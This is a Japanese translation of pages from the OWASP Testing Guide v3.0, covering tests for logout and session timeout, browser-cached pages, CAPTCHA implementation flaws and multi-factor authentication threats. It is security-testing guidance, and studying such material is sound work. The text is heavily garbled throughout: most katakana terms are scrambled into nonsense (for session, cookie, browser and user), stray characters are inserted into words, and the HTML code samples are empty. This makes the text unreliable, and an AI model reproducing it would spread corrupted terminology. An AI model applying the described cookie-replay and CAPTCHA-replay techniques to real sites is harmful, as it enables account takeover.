ギアウト 機 能 は、すべてのスッサュヱトーキヱ( 例 、キッカー)を 適遚 切 に 破 棄 し、 使 用 不 可 にし、 再 利 用 を 禁 じるようにコーバコ<br />

イドで 適遚 切 にケヱトルーラしなければなりません。<br />

注 意 8 最 も 重 要 なことは、アプヨクーサュヱがコーバコイドにおいてスッサュヱを 無 効 にすることです。 一 般 的 にケードが 適遚 切<br />

なミセッドを 呼 び 出 さなければなりません。 例 えば Java における HttpSession.invalidate()、.NET における Session.abandon()<br />

です。ブョウゴからのキッカーを 消 すことは 良 い 方 法 ですが、そのスッサュヱがコーバにおいて 適遚 切 に 無 効 にされるなら、 厳<br />

密 には 必 要 ありません。ブョウゴの 中 のキッカーを 使 っても 攻 撃 には 役 に 立 ちません。<br />

このようなアキサュヱが 適遚 切 に 実 行 されないなら、 正 当 なヤーゴのスッサュヱを「よみがえらせる」ためにスッサュヱトーキヱを<br />

再 生 し、 攻 撃 者 がそのヤーゴになりすますことが 可 能 です。(この 攻 撃 は 通 常 「キッカーヨプリイ」として 知 られています。) も<br />

ちろん、 攻 撃 者 は( 犠牢 牲牌 者 の PC に 保 存 されている)トーキヱにアキスシできなければなりません。これにより 危 険 は 軽 減 しま<br />

すが、 多 くの 場 合 、それは 余 り 難 しいことではありません。この 攻 撃 の 最 も 一 般 的 なサナヨエは、 公 共 のケヱピャーソが 個 人<br />

情 報 へアキスシするために 使 わわれる 場 合 についてです。ヤーゴがアプヨクーサュヱを 使 い 終 わわり、ルギアウト 処 理 が 適遚 切 に<br />

実 施 されないなら、 次 のヤーゴが 同 じアォウヱトでアキスシできてしまいます。 例 えば、 単 純 にブョウゴの「 戻 る」ペソヱをキヨ<br />

ッキすることによってです。 他 のサナヨエは、キルシコイトシキヨプト 脆 弱 性 あるいは SSL によって 100% 保 護 されていないケネ<br />

キサュヱの 結 果 生 じます。ルギアウト 機 能 に 不 具 合 があると 盗 まれたキッカーは 長 時 間 有 効 であり、それだけ 攻 撃 は 容 易 にな<br />

ります。この 節 の 第 3 のテシトは、ブョウゴが 機 密 情 報 をカメッサャすることをアプヨクーサュヱが 禁 じているか 確 認 することで<br />

す。 繰 り 返 しになりますが、これはヤーゴが 公 共 のケヱピャーソからアプヨクーサュヱにアキスシする 際 に 引 き 起 こされる 問 題<br />

です。<br />

ブラチクボチクステステとその 例<br />

ロギアウテ 機 能<br />

第 1 段 階 として、ルギアウト 機 能 が 存 在 するか 確 認 して 下 さい。 認 証 後 のヘーザにルギアウトペソヱがあること、 及 び、 認 証<br />

後 のすべてのヘーザにルギアウトペソヱがビザャアラに 明 確 に 存 在 していることを 確 認 して 下 さい。ルギアウトペソヱが 明 確<br />

に 見 えない、あるいは、ルギアウトペソヱが 特牐 定 のヘーザにしかないなら、ヤーゴがスッサュヱ 終 了 時 にルギアウトペソヱを 使<br />

い 忘 れるかもしれずスカャヨティヨシキとなります。<br />

第 2 段 階 として、ルギアウト 機 能 が 呼 び 出 されたときにスッサュヱトーキヱがどうなるか 確 認 して 下 さい。 例 えば、キッカーが 適遚<br />

切 な 振 る 舞 いで 使 用 されているなら、 新 しい Set-Cookie 指 示 子婡 が 無 効 な 値 ( 例 えば、「NULL」や 同 等 の 値 )をスットすることに<br />

よってすべてのスッサュヱキッカーが 削 除 されます。キッカーが 永 続 的 なら 有 効 期 限 を 過遃 去 に 設 定 することにより、ブョウゴ<br />

にキッカーを 破 棄 させます。 認 証 ヘーザが 下 記 のようにキッカーをスットしたとすると、<br />

Set-Cookie: SessionID=sjdhqwoy938eh1q; expires=Sun, 29-Oct-2006 12:20:00 GMT; path=/;<br />

domain=victim.com<br />

ルギアウト 機 能 は 下 記 のように 動 作 します。<br />

142


<strong>OWASP</strong> Testing Guide v3.0<br />

Set-Cookie: SessionID=noauth; expires=Sat, 01-Jan-2000 00:00:00 GMT; path=/;<br />

domain=victim.com<br />

本 件 についての 第 1 の( 最 も 単 純 な)テシトは、ルギアウトしブョウゴの「 戻 る」ペソヱをキヨッキしても、まだ 認 証 された 状牮 態 か<br />

どうか 確 認 することです。まだ 認 証 された 状牮 態 ならルギアウト 機 能 はスカャアに 実 装 されておらず、ルギアウト 機 能 はスッサュ<br />

ヱ ID を 破 棄 していません。アプヨクーサュヱが 永 続 的 ではないキッカーを 使 い、ヤーゴがブョウゴをキルージすることによりミ<br />

ムヨーからキッカーが 完媍 全 に 削 除 される 場 合 、このようなことが 時 々 発 生 します。これらのアプヨクーサュヱのいくつかは、ヤ<br />

ーゴがブョウゴをキルージするように 警 告 ミッスーザを 表 示 しますが、これはヤーゴの 振 る 舞 いに 完媍 全 に 依 存 するので、キッ<br />

カーを 破 棄 することと 比 較 するとスカャヨティのリプラは 低 くなります。 他 のアプヨクーサュヱは JavaScript によってブョウゴを<br />

キルージしようとしますが、ブョウゴはシキヨプト 実 行 を 制 限 するよう 設 定 されているかもしれません。これもキョイアヱトの 振 る<br />

舞 いに 依 存 するので 本 質 的 にスカャアではありません。(この 場 合 、スカャヨティを 向 上 させる 目 的 の 設 定 が、 結 局 はスカャ<br />

ヨティを 下 げています。) 更 にこれはブョウゴの 製 造造 元 、バーザュヱ、 設 定 に 依 存 します。( 例 えば、JavaScript ケードは、<br />

Internet Explorer を 正 常 にキルージするかもしれませんが、Firefox のキルージに 失 敗 するかもしれません。)<br />

「 戻 る」ペソヱをキヨッキし 前 のヘーザを 表 示 できたとしても、ブョウゴのカメッサャの 中 のヘーザにアキスシしているかもしれま<br />

せん。そのヘーザに 機 密 情 報 があれば、アプヨクーサュヱがブョウゴにカメッサャ 禁 止 を 指 示 しなかったことを 示 しています。<br />

(Cache-Control ブッゾをスットしなかったということです。これは、 後 に 分 析 する 異 なる 種 類 の 問 題 です。)<br />

「 戻 る」ペソヱの 技 法 を 試 した 後 、 次 の 高 度 な 技 法 を 試 して 下 さい。キッカーに 元 々の 値 を 再 設 定 し 認 証 済 みヘーザにアキ<br />

スシできるか 確 認 して 下 さい。それが 可 能 なら、コーバコイドにはキッカーが 有 効 、 無 効 かをトョッカヱギし、アキスシ 許 可 に<br />

際 しキッカーが 正 しいかどうか 判 定 する 機 能 がないということになります。アプヨクーサュヱの 応 答 をイヱソースプトし Set-<br />

Cookie ブッゾを 挿 入 してキッカーの 値 を 設 定 するためには WebScarab が 使 えます。<br />

代 わわりに、ブョウゴにキッカーウディソをイヱシトーラすることもできます。( 例 、Firefox の Add N Edit Cookies)<br />

143


設 計 に 関 する 注 意 すべき 例 として、キッカーは 基 本 的 に 暗 号 化 されており、コーバコイドで 複 合 化 されてヤーゴの 認 証 状牮<br />

態 が 確 認 されますが、ルギアウトしたヤーゴのキッカーについて、 ASP.NET の FormsAuthentication キョシはコーバコイドで<br />

は 制 御 できません。これはキッカーが 不 正 に 操 作 されることを 効 果 的 に 防 止 しますが、コーバはスッサュヱ 状牮 態 を 内 部邪 的 に<br />

保 持 せず、キッカーの 有 効 期 限 が 切 れていないならヤーゴがルギアウトした 後 でキッカーヨプリイ 攻 撃 が 可 能 です。( 詳 細 は<br />

参 考 文 献犰 を 参 照 して 下 さい。)<br />

このテシトはスッサュヱキッカーについてだけ 適遚 用 することに 注 意 して 下 さい。 永 続 的 キッカーは、ボイナーなヤーゴプリファ<br />

リヱシ( 例 、コイトの 外 観 )についてのデーソがありルギアウト 後 も 削 除 されませんが、スカャヨティヨシキがあるとは 考 えられま<br />

せん。<br />

タアマアウテによるロギアウテ<br />

ルギアウトのソイマアウトについて 評 価 するには、 前 節 と 同 じ 手 法 が 使 えます。 最 も 適遚 切 なルギアウト 時 間 は、スカャヨティ( 短<br />

いルギアウト 時 間 )と 使 いやすさ( 長 いルギアウト 時 間 )のバョヱシが 適遚 切 であり、アプヨクーサュヱが 扱 うデーソの 機 密 性 に 大 き<br />

く 依 存 します。60 分 のルギアウト 時 間 は、 公 開 フェーョマでは 妥妞 当 ですがベーマバヱカヱギでは 長 すぎます。 特牐 定 の 機 能 要<br />

件 がないなら、どのようなアプヨクーサュヱもソイマアウトによりルギアウトしなければスカャアとは 考 えられません。テシト 方 法<br />

は 前 節 とほぼ 同 じです。まず、ソイマアウトがあるか 確 認 して 下 さい。 例 えば、ルギイヱしテシティヱギオイドの 他 の 章 を 読 ん<br />

で 時 間 をつぶし、ソイマアウトによるルギアウトが 発 生 するか 待 って 下 さい。ルギアウト 機 能 は、ソイマアウトを 過遃 ぎるとすべて<br />

のスッサュヱトーキヱを 破 棄 し 使 用 不 能 にするべきです。ソイマアウトが、キョイアヱト、コーバ、あるいはその 両 方 によって 行<br />

わわれるのか 確 認 して 下 さい。キッカーの 例 に 戻 って、スッサュヱキッカーが 永 続 的 でなければ、(あるいはより 一 般 的 にスッサ<br />

ュヱキッカーが 時 間 について 何 もデーソを 持 たなければ、)ソイマアウトがコーバによって 行 わわれることがわわかります。スッサュ<br />

ヱトーキヱが 時 間 に 関 するデーソ( 例 、ルギイヱ 時 間 、 最 終 アキスシ 時 間 、 永 続 的 キッカーの 有 効 期 限 )を 含 むならソイマアウト<br />

はキョイアヱトによって 行 わわれることがわわかります。この 場 合 、トーキヱを( 暗 号 化 されていなければ) 修 正 しスッサュヱに 何 が 生<br />

じるか 確 認 して 下 さい。 例 えば、キッカーの 有 効 期 限 をかなり 未 来 の 時 間 に 設 定 しスッサュヱが 延 長 されるかどうか 確 認 して<br />

下 さい。 一 般 的 なラーラとして、コーバコイドだけですべてタェッキされているなら、スッサュヱキッカーを 前 の 値 に 再 設 定 し<br />

ても、アプヨクーサュヱに 再 びアキスシできるようにはなりません。<br />

キメチシャされたページ<br />

アプヨクーサュヱからルギアウトしてもブョウゴのカメッサャから 機 密 情 報 が 削 除 されるとは 限 りません。したがって、アプヨク<br />

ーサュヱがブョウゴのカメッサャに 機 密 デーソを 残 すかどうか 確 認 するためのテシトが 必 要 です。このテシトには WebScarab<br />

を 使 うことができます。スッサュヱに 属 するコーバのリシホヱシを 探 し、 機 密 情 報 を 含 むすべてのヘーザについてコーバが<br />

144


<strong>OWASP</strong> Testing Guide v3.0<br />

ブョウゴにどのデーソもカメッサャしないよう 指 示 しているかどうか 確 認 して 下 さい。その 指 示 は HTTP リシホヱシブッゾーに<br />

あります。<br />

HTTP/1.1:<br />

Cache-Control: no-cache<br />

HTTP/1.0:<br />

Pragma: no-cache<br />

Expires: <br />

他 の 方 法 として、HTML において 機 密 情 報 を 含 む 各 ヘーザに 下 記 ケードを 含 めることによって 同 様 の 指 示 が 行 えます。<br />

HTTP/1.1:<br />

<br />

HTTP/1.0:<br />

<br />

<br />

例 えば、 電 子婡 商 取 引 アプヨクーサュヱをテシトしているなら、キリザット 番 号 、あるいは、 他 の 財 務 情 報 を 含 むすべてのヘー<br />

ザについて no-cache 指 示 が 行 わわれているか 確 認 して 下 さい。 一 方 、 機 密 情 報 を 含 むヘーザについて、ブョウゴへケヱテヱ<br />

ツをカメッサャするなという 指 示 が 失 敗 しているなら、その 機 密 情 報 はディシキに 記 憶 されていることになります。 単 純 にブョ<br />

ウゴのカメッサャを 探 しゾブラタェッキして 下 さい。カメッサャがどこにあるかは、キョイアヱトの OS 及 びブョウゴに 依 存 しま<br />

す。 下 記 に 例 を 示 します。<br />

• Mozilla Firefox:<br />

o<br />

o<br />

Unix/Linux: ~/.mozilla/firefox//Cache/<br />

Windows: C:\Documents and Settings\\Local Settings\Application<br />

Data\Mozilla\Firefox\Profiles\\Cache><br />

• Internet Explorer:<br />

o<br />

C:\Documents and Settings\\Local Settings\Temporary Internet Files><br />

ギレーボチクステステとその 例<br />

一 般 的 なラーラとして、 下 記 を 確 認 する 必 要 があります。<br />

• ルギアウト 機 能 が、すべてのスッサュヱトーキヱを 破 棄 あるいは 少 なくとも 使 用 不 能 にすること。<br />

• 攻 撃 者 が 以 前 のトーキヱをヨプリイできないように、コーバがスッサュヱ 状牮 態 について 適遚 切 にタェッキすること。<br />

• ソイマアウトが 実 施 され、コーバによって 適遚 切 にタェッキされること。コーバがスッサュヱトーキヱにおいて 有 効 期 限<br />

をつかうなら、トーキヱは 暗 号 化 により 保 護 されること。<br />

ブョウゴのカメッサャについては、ブョッキペッキシテシトと 同 様 の 方 法 によりコーバのリシホヱシブッゾーと HTML ケードを<br />

使 って 確 認 すること。<br />

145


参 考 情 報<br />

ホワロアテペーパー<br />

ASP.NET Forms Authentication: "Best Practices for Software Developers" -<br />

http://www.foundstone.com/resources/whitepapers/ASPNETFormsAuthentication.pdf<br />

"The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications" -<br />

http://support.microsoft.com/default.aspx?scid=kb;en-us;900111<br />

ヂール<br />

<br />

Add N Edit Cookies (Firefox extension): https://addons.mozilla.org/firefox/573/<br />

4.4.8 CAPTCHA のテステ (<strong>OWASP</strong>-AT-008)<br />

概 要<br />

CAPTCHA(Completely Automated Public Turing test to tell Computers and Humans Apart)は、タメリヱザリシホヱシテシトの<br />

1 種 であり、ケヱピャーソによって 応 答 が 生 成 されないようにするため、 多 くのウェブアプヨクーサュヱに 使 わわれています。 生<br />

成 された CAPTCHA が 破 られなくても、CAPTCHA の 実 装 はしばしば 脆 弱 です。この 節 ではその 種 の 攻 撃 について 説 明 しま<br />

す。<br />

解 説<br />

CAPTCHA は 認 証 機 能 ではありませんが 下 記 についてとても 効 果 的 に 使 わわれます。8<br />

• 列 挙 攻 撃 (ルギイヱ、ヤーゴ 登 録 、パシワロードヨスットのフェーマは、 列 挙 攻 撃 にしばしば 脆 弱 です。CAPTCHA がな<br />

ければ、 攻 撃 者 は 正 しいヤーゴ 名 、 電 話 番 号 や 他 の 機 密 情 報 を 短 時 間 に 略 取 できます。)<br />

• 短 時 間 に 望 ましくない 多 くの GET/POST ヨキウシトを 自 動 送 信 すること。( 例 、SMS、MMS、 電 子婡 ミーラのフョッディヱ<br />

ギ) CAPTCHA によりリート 制 限 できます。<br />

• 人 間 にだけ 使 わわれるべきアォウヱトの 自 動 生 成 と 利 用 。( 例 、web ミーラアォウヱトの 生 成 とシパマ 送 信 )<br />

• 宣 伝 活 動 、いやがらせ、 破 壊 活 動 となるブルギ、フェーョマ、Wiki への 自 動 投 稿 。<br />

• アプヨクーサュヱからの 機 密 情 報 の 大 量 取 得 、 誤 用 をする 自 動 的 攻 撃 。<br />

CAPTCHA を CSRF 攻 撃 への 防 御 として 使 うことは 推 奨 されません。(CSRF 攻 撃 にはより 良 い 対 策 があるためです。)<br />

以 下 、 多 くの CAPTCHA の 実 装 に 共 通 する 脆 弱 性 について 示 します。8<br />

• CAPTCHA 画 像 が 弱 く、( 複 雑 な 画 像 認 識 サシテマがなくても) 既 に 破 った CAPTCHA と 比 較 するだけで 特牐 定 可 能 で<br />

す。<br />

• CAPTCHA の 質 問 は 答 が 非 常 に 限 定 されています。<br />

146


<strong>OWASP</strong> Testing Guide v3.0<br />

• CAPTCHA をデケードした 値 が、キョイアヱトから(GET のパョミーソあるいは POST フェーマの hidden フィーラドとし<br />

て) 送 信 されます。この 値 はしばしば、<br />

o<br />

o<br />

単 純 なアラゲヨジマにより 暗 号 化 され、いくつかのデケードされた CAPTCHA の 値 を 観 察 することによって、<br />

簡 単 に 複 合 化 できます。<br />

弱 いハッサャ 関 数 ( 例 、MD5)によってハッサャされており、リイヱペーテーブラを 使 って 破 ることができます。<br />

• ヨプリイ 攻 撃 の 可 能 性 8<br />

o<br />

o<br />

アプヨクーサュヱはヤーゴに 送 信 した CAPTCHA 画 像 の ID をトョッカヱギしません。したがって、 攻 撃 者 が<br />

単 純 に CAPTCHA 画 像 とその ID を 取 得 し、それを 解 いて ID と 共 に 解 読 した CAPTCHA の 値 を 送 ることがで<br />

きます。(CAPTCHA 画 像 の ID は CAPTCHA の 解 読 値 あるいは 一 意 の 値 でハッサャ 化 されているかもしれま<br />

せん。)<br />

回 答 後 にアプヨクーサュヱがスッサュヱを 破 棄 しないなら、CAPTCHA のスッサュヱ ID を 再 利 用 することによ<br />

って CAPTCHA が 防 御 しているヘーザをバイパシできます。<br />

ブラチクボチクステステとその 例<br />

プルカサ( 例 、WebScarab)を 使 い 下 記 を 行 って 下 さい。<br />

• CAPTCHA の 解 読 値 と 共 にキョイアヱトからコーバへ 送 信 されるすべてのパョミーソを 特牐 定 して 下 さい。(そのパョミ<br />

ーソに CAPTCHA の 解 読 値 と CAPTCHA の ID を 暗 号 化 あるいはハッサャ 化 した 値 があるかもしれません。)<br />

• 古 い CAPTCHA の ID と 共 に、 古 い CAPTCHA の 解 読 値 を 送 ってみて 下 さい。(アプヨクーサュヱがそれらを 受 け 入 れ<br />

るならヨプリイ 攻 撃 に 対 して 脆 弱 です。)<br />

• 古 いスッサュヱ ID と 共 に、 古 い CAPTCHA の 解 読 値 を 送 ってみて 下 さい。(アプヨクーサュヱがそれらを 受 け 入 れる<br />

ならヨプリイ 攻 撃 に 対 して 脆 弱 です。)<br />

同 様 の CAPTCHA が 既 に 破 られているか 調 べて 下 さい。 破 られた CAPTCHA 画 像 は、gimpy、PWNtcha、lafdc にあります。<br />

CAPTCHA の 回 答 が 限 定 されていて 容 易 に 答 えられるか 調 べて 下 さい。<br />

ギレーボチクステステとその 例<br />

下 記 について 調 べるためにアプヨクーサュヱのセーシケードを 調 べて 下 さい。8<br />

• 使 わわれている CAPTCHA の 実 装 とバーザュヱ。 広 く 使 わわれている CAPTCHA の 実 装 には 多 くの 良 く 知 られた 脆 弱 性<br />

があります。http://osvdb.org/search?request=captcha を 参 照 して 下 さい。<br />

• アプヨクーサュヱによる 暗 号 化 あるいは(スカャヨティ 的 に 悪 い 例 ですが)キョイアヱトによるハッサャ 化 が 行 わわれてい<br />

るなら、 使 わわれている 暗 号 あるいはハッサャのアラゲヨジマが 十 分 強 力 であるか 確 認 して 下 さい。<br />

147


参 考 情 報<br />

Captcha デケーダー<br />

• (オープンソース) PWNtcha captcha decoder<br />

• (オープンソース) The Captcha Breaker<br />

• ( 市 販 ) Captcha decoder<br />

• ( 市 販 – フリー) Online Captcha Decoder Free limited usage, enough for testing.<br />

文 献<br />

• Breaking a Visual CAPTCHA<br />

• Breaking CAPTCHAs Without Using OCR<br />

• Why CAPTCHA is not a security control for user authentication<br />

4.4.9 多 要 素 認 証 のテステ (<strong>OWASP</strong>-AT-009)<br />

概 要<br />

侵 入 テシトにおいて 多 要 素 認 証 サシテマ(MFAS8Multiple Factors Authentication System)の 強 さを 評 価 することは 重 要 です<br />

。 銀 行 、その 他 金 融 機 関 は、 高 価 な MFAS にかなりの 予 算 を 割 いています。したがって、 特牐 定 のセヨャーサュヱを 適遚 用 する 前<br />

に、 正 確 なテシトを 行 って 下 さい。MFAS を 採 用 する 原 因 となった 脅 威姕 から、MFAS が 効 果 的 にその 組 織 の 資 産 を 保 護 して<br />

いることを 確 認 して 下 さい。<br />

解 説<br />

一 般 的 に、 二 要 素 認 証 サシテマの 目 的 は 認 証 プルスシの 強 さを 高 めることです。[1] ヤーゴがパシワロードに 加 えてある 種 の<br />

ハードウェアデバイシを 持 っていることを 確 認 し、 追 加 要 素 つまり「あなたが 持 っているもの」あるいは「あなたが 知 っているこ<br />

と」を 確 認 することによって、これは 遉 成 されます。ヤーゴに 提 供 されるハードウェアデバイシは、 追 加 的 な 通 信 タメネラを<br />

使 って、 認 証 イヱフョに 依 存 することなく 通 信 できるかもしれません。この 特牐 徴 は、「タメネラの 分 離 」として 知 られています。<br />

Bruce Schneier は、2005 年 に、「 数 年 前 は 脅 威姕 は、すべて 受 動 的 であり、 盗 聴 とエフョイヱのパシワロード 推 測 でした。 今 日 脅<br />

威姕 は 能 動 的 であり、フィッサヱギ、トルイの 木 馬 です。」[2]と 述 べています。 実 際 、 下 記 は web 環 境 における MFAS が 直 面 す<br />

る 一 般 的 な 脅 威姕 です。<br />

1. 認 証 情 報 の 盗 用 (フィッサヱギ、 盗 聴 、 不 正 侵 害 されたネットワローキからのエヱョイヱバヱカヱギなどの MITM 攻 撃 )<br />

2. 弱 い 認 証 情 報 ( 認 証 パシワロードの 推 測 、パシワロードブラートフェーシ 攻 撃 )<br />

3. スッサュヱプーシ 攻 撃 (スッサュヱ 乗 っ 取 り、スッサュヱフィキスーサュヱ)<br />

4. トルイの 木 馬 とボラウェアによる 攻 撃 ( 不 正 侵 入 されたキョイアヱトからのエヱョイヱバヱカヱギ)<br />

148


<strong>OWASP</strong> Testing Guide v3.0<br />

5. パシワロードの 再 利 用 ( 異 なる 目 的 、 異 なるトョヱゴキサュヱなどの 操 作 に 同 じパシワロードを 利 用 すること。)<br />

上 記 5 つのォテゲヨに 関 する 攻 撃 すべてについて 選遥 択 的 な 解 があります。 認 証 の 強 さは 一 般 的 にいくつの「 認 証 要 素 」が<br />

確 認 されたかに 依 存 します。ヤーゴがケヱピャーソサシテマを 使 用 するにあたり、IT 専 門 家 は「 現 在 の 認 証 サシテマに 不 満<br />

なら、 他 の 認 証 要 素 を 追 加 すると 問 題 は 解 消 します。」とアドバイシします。[3] ある MFAS は 他 のものに 比 べてフリカサブ<br />

ラでスカャアです。しかし 残 念 ながら 後 述 するするように、 執 拗 な 攻 撃 者 から 受 ける 攻 撃 ヨシキは 完媍 全 には 除 去 されません。<br />

特牐 定 の MFAS は 特牐 定 の 攻 撃 への 対 処 策 とはならないかもしれません。 上 記 5 つの 脅 威姕 (5T)について 熟 考 すると、 特牐 定 の<br />

MFAS の 強 さを 分 析 できます。<br />

ギレーボチクステステとその 例<br />

MFAS のスカャヨティに 関 するテシトでは、 認 証 シカーマについて 最 小 限 の 情 報 を 使 います。これは、「ブョッキペッキシテシ<br />

ト」の 節 を 省 略 した 主 な 理 由 です。 下 記 のため 認 証 イヱフョの 全 体 について 一 般 的 な 知 識 が 特牐 に 重 要 です。<br />

• MFAS は、 特牐 に 使 い 捨 て 操 作 について 認 証 するように 実 装 されています。 使 い 捨 てのアキサュヱはスカャアな web<br />

コイトの 内 部邪 において 実 行 されると 考 えられます。<br />

• 発 生 していることについて 高 いリプラでケヱトルーラすることによって、MFAS に 対 する 攻 撃 は 成 功 します。 上 記 は<br />

一 般 に 正 しく、ボラウェア 攻 撃 を 通 して 入 手 したデーソによって、 攻 撃 者 は 特牐 定 の 認 証 イヱフョについての 詳 細 情<br />

報 を 探 ります。 銀 行 の web コイトの 認 証 がどのように 動 作 するか 知 るために、 攻 撃 者 が 顧 客 となる 必 要 があると 考<br />

えるのは、 必 ずしも 正 しくはありません。 特牐 定 の web コイトのスカャヨティイヱフョ 全 体 について 研 究 するため、 攻 撃<br />

者 はある 顧 客 をケヱトルーラ 下 に 置 く 必 要 があるだけです。SilentBanker Trojan[4]の 作 者 は、 感 染 ヤーゴがイヱソ<br />

ーネットを 閲 覧 する 間 、 訪 問 した web コイトについて 情 報 を 収 集 し 続 けたことが 知 られています。 他 の 例 には 2005<br />

年 に 起 きた Swedish Nordea 銀 行 への 攻 撃 [5] があります。<br />

下 記 の 例 は、 上 記 の 5T ムデラに 基 づく 異 なる MFAS についての 評 価 です。ウェブアプヨクーサュヱにおける 最 も 一 般 的 な<br />

認 証 は、ヤーゴ ID・パシワロード 認 証 です。この 場 合 送 金 のトョヱゴキサュヱには 追 加 のパシワロードが 必 要 とされる 場 合 があり<br />

ます。MFAS は 認 証 プルスシに「あなたが 持 っているもの」を 追 加 します。それは、 通 常 、 下 記 のものです。:<br />

• ワロヱソイマパシワロード(OTP) 生 成 器 トーキヱ<br />

• ギヨッドォード、シキョッタォード、あるいは、 正 規 ヤーゴだけが 財 布 に 入 れるはずの 情 報<br />

• X.509 証 明 書 が 格 納 された USB トーキヱやシボートォードのような 暗 号 デバイシ<br />

• GSM SMS ミッスーザとして 送 信 されるョヱゾマに 生 成 される OTP [SMSOTP][6]<br />

下 記 では MFAS の 異 なる 実 装 についてのテシトの 例 を 示 します。 侵 入 テシト 担 当 者 は 正 しく 危 険 を 回 避遪 するために、イヱフ<br />

ョのすべての 可 能 な 脆 弱 箇 所 について 考 慮 するべきです。 正 しい 評 価 によって、 他 の MFAS を 選遥 択 する 際 に MFAS を 正 し<br />

く 選遥 択 することになります。<br />

ケヱホーネヱトあるいは 対 策 を 追 加 することによって、 特牐 定 の 脆 弱 性 を 突 かれる 可 能 性 を 下 げることができるかもしれません。<br />

キリザットォードがよい 例 です。ォードを 持 っている 人 を 認 証 することには、ほとんど 注 意 が 払 わわれないことを 考 えて 下 さい。<br />

店 員 は 署 名 をほとんど 確 認 しません。ォードは 電 話 とイヱソーネットにおいて 使 わわれォードの 存 在 自 体 は 確 認 されません。<br />

149


キリザットォード 会 社 は、ォードの 保 有 者 のためではなくトョヱゴキサュヱを「ケヱトルーラ」するためにスカャヨティ 予 算 を 使 い<br />

ます。[7] ヤーゴがキリザットォードを 使 う 際 にヨシキシケアタメートを 自 動 的 に 埋 める 振 る 舞 いアラゲヨジマによって、トョヱ<br />

ゴキサュヱは 効 果 的 にケヱトルーラされます。 疑 惑 有 りとボーキされたら 一 時 的 にブルッキされます。<br />

分 離 されたスカャアな 通 信 路 によって 何 が 発 生 しているか 顧 客 に 知 らせることも、 軽 減 策 となります。キリザットォード 産 業 は、<br />

キリザットォードトョヱゴキサュヱについて SMS ミッスーザにより 顧 客 へ 知 らせています。 詐 欺 行 為 があれば、 顧 客 は 直 ぐに<br />

自 分 のキリザットォードに 何 か 悪 いことが 起 きているとわわかるようになっています。トョヱゴキサュヱが 成 功 する 前 に 分 離 され<br />

た 通 信 路 によって 顧 客 へ 知 らせられるヨアラソイマ 情 報 は、とても 正 確 です。<br />

一 般 的 な「ヤーゴ<br />

ID、パシワロード、 使 い 捨 てパシワロード」は、 通 常 (3)と 特牐 に(2)への 防 御 となります。それらは 通 常 (1)、(4)、(5)<br />

への 防 御 とはなりません。 侵 入 テシト 担 当 者 は、 認 証 サシテマのこの 種 のテシトを 正 確 に 行 うために、 認 証 サシテマが 何 から<br />

守 ろうとしているのか 熟 考 するべきです。<br />

言 い 換 えれば、「ヤーゴ ID、パシワロード、 使 い 捨 てパシワロード」を 認 証 サシテマに 採 用 すると、(2)と(3)からは 防 御 できるはず<br />

です。サシテマが 強 いパシワロードを 効 果 的 に 強 要 しているか、 及 び、スッサュヱプーシ 攻 撃 ( 例 、ヤーゴに 望 ましくない 使 い<br />

捨 て 情 報 を 送 信 させる Cross Site Request Forgery 攻 撃 )への 耐 性 があるか、 確 認 して 下 さい。<br />

• 「ヤーゴ ID+)パシワロード+) 使 い 捨 てパシワロード」に 基 づく 認 証 の 脆 弱 性 タメート<br />

o 既 知 の 弱 さ81, 4, 5<br />

o<br />

既 知 の 弱 さ( 詳 細 )8パシワロードは 静 的 であり blended threat 攻 撃 [8]( 例 、SSLv2 ケネキサュヱに 対 する MITM<br />

攻 撃 )によって 盗 まれるので、(1)からの 防 御 になりません。 同 じ 使 い 捨 てパシワロードを 使 って 複 数 のトョヱ<br />

ゴキサュヱが 可 能 なので、(4)と(5)からの 防 御 になりません。<br />

o ( 良 く 実 装 されている 場 合 の) 強 さ82, 3<br />

o<br />

強 さ( 詳 細 )8パシワロードについて 強 制 するラーラがある 場 合 のみ、(2)からの 防 御 になります。 使 い 捨 てパ<br />

シワロードを 必 要 とするので、 攻 撃 者 は 使 い 捨 てパシワロードを 送 信 して 現 在 のヤーゴスッサュヱを 妨妠 害 でき<br />

ないので(3)からの 防 御 になります。[9]<br />

以 下 では、 異 なるいつくかの MFAS の 実 装 について 分 析 します。<br />

「ワロヱソイマパシワロードトーキヱ」は、 良 く 実 装 されているなら、(1)、(2)、(3)の 防 御 になります。 常 に(5)からの 防 御 にはなるとは<br />

限 りません。(4)からの 防 御 にはほとんどなりません。<br />

• 「ワロヱソイマパシワロードトーキヱ」に 基 づく 認 証 の 脆 弱 性 タメート<br />

o 既 知 の 弱 さ8 4、 時 々 5<br />

o<br />

既 知 の 弱 さ( 詳 細 )8エヱョイヱバヱカヱギのボラウェアは、 事 前 に 設 定 されたラーラによってヨアラソイマ<br />

に Web トョフィッキを 改 ざんすることができるので、OTP トーキヱは(4)からの 防 御 になりません。この 種 の 例<br />

には SilentBanker、Mebroot、Trojan Anserin といった 悪 意 のあるケードがあります。エヱョイヱバヱカヱギ<br />

のボラウェアは、HTTPS ヘーザに 介 在 する web プルカサのように 動 作 します。ボラウェアは 侵 入 したキョイ<br />

アヱトを 完媍 全 に 支 配郤 し、ヤーゴによるどのようなアキサュヱも 記 録 されケヱトルーラされます。ボラウェアは 正<br />

当 なトョヱゴキサュヱを 中 止 、あるいは 送 金 のトョヱゴキサュヱを 異 なる 場 所 へヨゾイリキトするかもしれませ<br />

ん。パシワロードの 再 利 用 (5)は OTP トーキヱに 影 響 があるかもしれない 脆 弱 性 です。トーキヱは、 例 えば 30<br />

150


<strong>OWASP</strong> Testing Guide v3.0<br />

秒 といったある 期 間 だけ 有 効 です。 認 証 サシテマが 使 用 済 みのトーキヱを 破 棄 しなければ、30 秒 の 寿 命<br />

の 間 に、1 つのトーキヱがいくつかのトョヱゴキサュヱの 認 証 に 使 わわれるかもしれません。<br />

o ( 良 く 実 装 されている 場 合 の) 強 さ8 1,2,3<br />

o<br />

強 さ( 詳 細 )8トーキヱの 寿 命 は 通 常 非 常 に 短 いので、OTP トーキヱは 効 果 的 に(1)を 軽 減 します。30 秒 以 内<br />

に 攻 撃 者 はトーキヱを 盗 み、エヱョイヱバヱカヱギの web コイトに 入 力 してトョヱゴキサュヱを 容 易 に 行 え<br />

るかもしれませんが、 大 規 模 攻 撃 では 通 常 発 生 しにくいことです。OTP の HMAC は 少 なくとも 6 桁 長 なの<br />

で、OTP トーキヱは 通 常 (2)の 防 御 になります。OTP トーキヱのアラゲヨジマが 十 分 安 全 であり 予 測 不 可 能<br />

